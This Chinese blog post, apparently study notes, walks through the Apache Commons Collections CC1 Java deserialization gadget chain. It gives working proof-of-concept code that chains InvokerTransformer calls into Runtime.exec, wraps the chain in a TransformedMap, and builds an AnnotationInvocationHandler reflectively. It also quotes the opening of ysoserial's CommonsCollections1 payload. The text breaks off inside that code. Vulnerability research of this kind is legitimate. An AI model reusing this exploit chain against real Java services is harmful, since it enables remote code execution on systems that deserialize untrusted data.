【Java反序列化】CommonsCollections-CC1链分析，2024年网络安全笔试题总结

最新推荐文章于 2024-07-24 09:33:30 发布

2401_84254296

最新推荐文章于 2024-07-24 09:33:30 发布

阅读量663

点赞数 26

分类专栏： 2024年程序员学习文章标签： java c语言 web安全

本文链接：https://blog.csdn.net/2401_84254296/article/details/137609093

版权

2024年程序员学习专栏收录该内容

90 篇文章 1 订阅

订阅专栏

}
}

先讲一下漏洞利用点，
InvokerTransformer.transform方法对传入的参数对象进行了反射调用，即能够调用任意对象执行任意方法，进而导致命令执行Runtime.getRuntime().exec("calc");。

按照源码的逻辑，写一下简短的POC：

Runtime runtime = Runtime.getRuntime();
Class runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod(“exec”, String.class);
execMethod.invoke(runtime, “calc”);

即在InvokerTransformer构造方法中传入对应的参数就可命令执行
在这里插入图片描述
Runtime没有继承Serializable类，无法进行序列化，但是Class类继承了Serializable类，那么将Runtime进行反射调用即可

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”,null}),
new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc”})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

其中有很多细节，ChainedTransformer类的transform方法能够批量执行数组的transform，即调用数组中每一个对象的transform。
在这里插入图片描述
对于new ConstantTransformer(Runtime.class)，则可以说是精髓，因为后文中的值不能被直接利用，而ConstantTransformer传入的参数为常量，不可被改变，即被调用的是我们传入的想要的值。

再想先讲一下漏洞触发点：反序列化漏洞，最主要的还是要readObject()函数，那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。

InvokerTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
AnnotationInvocationHandler.readObject()

在这里插入图片描述
简单写一下漏洞POC：

HashMap<Object,Object> map = new HashMap<>();
map.put(“value”, “value”);
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

这里Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
TransformedMap继承了AbstractInputCheckedMapDecorator，而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口，AbstractInputCheckedMapDecorator重写了entrySet方法
在这里插入图片描述
且map.put("value", "value");的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);的Target.class方法一致，不然if判断不过关，无法继续往下执行。

本文和ysoserial的CC1链略有差别，ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java，感兴趣的xdm也能再看下ysoserial的CC1链。

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()